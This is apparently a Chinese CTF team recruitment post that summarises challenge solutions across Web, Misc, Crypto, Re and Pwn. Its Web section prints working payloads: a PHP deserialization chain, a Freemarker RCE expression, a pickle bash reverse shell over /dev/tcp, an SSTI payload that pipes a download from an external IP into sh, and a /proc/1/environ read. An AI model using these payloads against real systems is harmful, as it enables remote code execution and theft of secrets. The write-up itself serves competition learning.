EDI安全战队招新及CTF解题思路汇总
涵盖Web、Misc、Crypto、Re、Pwn方向技术解析
EDI安全CTF战队长期参与各类CTF竞赛,现诚邀re、crypto、pwn方向人才加入。有意者请发送个人简历(含学校、ID、技术方向、参赛经历等)至邮箱:root@edisec.net 或 shiyi@edisec.net。
01 Web
D0n't pl4y g4m3!!!
题目涉及PHP版本≤7.4.21的Development Server源码泄露漏洞。通过构造反序列化链触发命令执行,关键点在于利用Yang类的__call和__wakeup方法绕过过滤逻辑,最终调用system读取flag。
核心payload如下:
O:3:"Bei":3:{s:4:"fine";O:4:"Yang":2:{s:6:"finish";O:5:"Cheng":2:{s:13:"\x00Cheng\x00finish";N;s:4:"name";a:1:{s:6:"finish";s:4:"true";}}s:3:"now";a:1:{s:4:"YCB1";s:6:"syssystemtem";}}s:3:"rce";s:23:"cat /tmp/catcatf1ag.txt";s:3:"CTF";O:4:"Yang":1:{s:6:"finish";O:5:"Cheng":2:{s:13:"\x00Cheng\x00finish";N;s:4:"name";a:1:{s:6:"finish";s:4:"true";}}}}
Ez_java
利用Jackson反序列化链,结合POJONode与Freemarker模板注入实现RCE。通过代理HtmlMap类,控制content字段执行表达式${"freemarker.template.utility.Execute"?new()("cat /flag")},最终完成文件上传并获取flag。
Serpent
题目提供www.zip源码包,包含JWT伪造与pickle反序列化漏洞。首先伪造admin身份JWT替换session,访问/ppppppppppick1e接口,通过base64编码的pickle反序列化触发RCE。
构造反弹shell payload:
import base64
c = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/123/777 0>&1"'
o.'''
print(base64.b64encode(c))
ezyaml
PyYaml反序列化无法直接利用,但tar解压存在目录穿越漏洞。通过构造恶意模板文件并打包为5x.tar,覆盖../../templates/result.html,写入SSTI代码执行命令。
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('curl http://139.159.163.195:8080/1|sh').read()") }}{% endif %}{% endfor %}
ArkNights
非预期解法:直接读取/proc/1/environ获取环境变量中的flag。
url/read?file=/proc/1/environ
02 Misc
ai和nia的交响曲
从pcap中提取flag1.png和flag2.zip。flag1.png通过像素颜色转二进制再转字符串;flag2.zip为伪加密,解密后根据数字对应B站视频BV1wW4y1R7Jv的时间戳,推测出答案“CAOCAOGAIFAN”。
flag: @i_n1a_l0v3S_CAOCAOGAIFAN
GIFUCK
分离GIF帧后,根据特定像素位置和延迟时间统计字符频率,生成Brainfuck代码。运行时提示“Sorry flag is not here”,需在栈上查找flag,使用Esoteric IDE调试获得最终结果。
DASCTF{Pen_Pineapple_Apple_Pen}
Easy_VMDK
压缩包为存储模式,利用VMDK前12字节已知明文爆破出密钥[e6a73d9f 21ccfdbc f3e0c61c]。解密后使用取证工具分析vmdk镜像,提取key.txt和flag.zip。key.txt内容经逆向脚本还原为图像,得到密码“HELLO_DASCTF2023_WORLD”,解压获flag。
ez_misc
利用Windows 11截图漏洞,修改PNG的CRC校验值及宽高参数,修复损坏图片以获取隐藏信息。
03 Crypto
MCeorpkpleer
基于部分p的超递增背包密码系统。先通过Coppersmith算法恢复素数p,再计算q,随后利用模逆运算还原加密指数e,最后RSA解密得flag。
Easy_3L
给定多个线性递推序列值,通过LLL算法分解模数,结合差分求解递推关系,逆推出初始状态S0并转换为flag。
Danger_RSA
特殊构造的RSA,利用N接近四次方结构,结合e的因子分解,通过多项式求根恢复p,再开三次方根解密密文。
XOR贯穿始终
从证书中提取n和d(十六进制格式下02 81 81后的0x81字节),使用私钥解密密文后,末尾28字节与固定key异或还原完整flag。
04 Re
blast
双重MD5加密验证,逆向获取哈希后可通过爆破或查表还原原始口令。
CSGO
Base64换表编码,需动态调试确定字符映射关系,还原原始数据。
ez加密器
DES-ECB加密,密钥由数字转Base64后替换字符表生成。遍历可能密钥尝试解密,匹配"DASCTF"字符串即可得flag。
DASCTF{f771b96b71514bb6bc20f3275fa9404e}
vm_wo
虚拟机指令混淆,实际为简单异或0x2b与左移+1操作,逆向逻辑可快速还原原始输入。
05 Pwn
cookieBox
堆利用题,存在UAF和任意地址写。通过fastbin attack控制stdout结构体,将write函数指针劫持为system,触发时执行"/bin/sh"。
easy_vm
自定义虚拟机,通过push/pop/mov等指令组合,构造ROP链修改malloc_hook为one_gadget,触发malloc时getshell。
shellcode
受限shellcode执行环境,先利用0x10字节shellcode触发二次read,再部署orw链绕过seccomp沙箱读取flag。
heap
堆管理程序,存在off-by-null和UAF。通过精准堆布局泄露libc和堆基址,最终劫持free_hook为system,传参/bin/sh完成提权。
risky_login
RISC-V架构程序,反编译发现栈溢出漏洞。直接跳转至后门函数执行用户输入命令,发送cat f*读取flag。

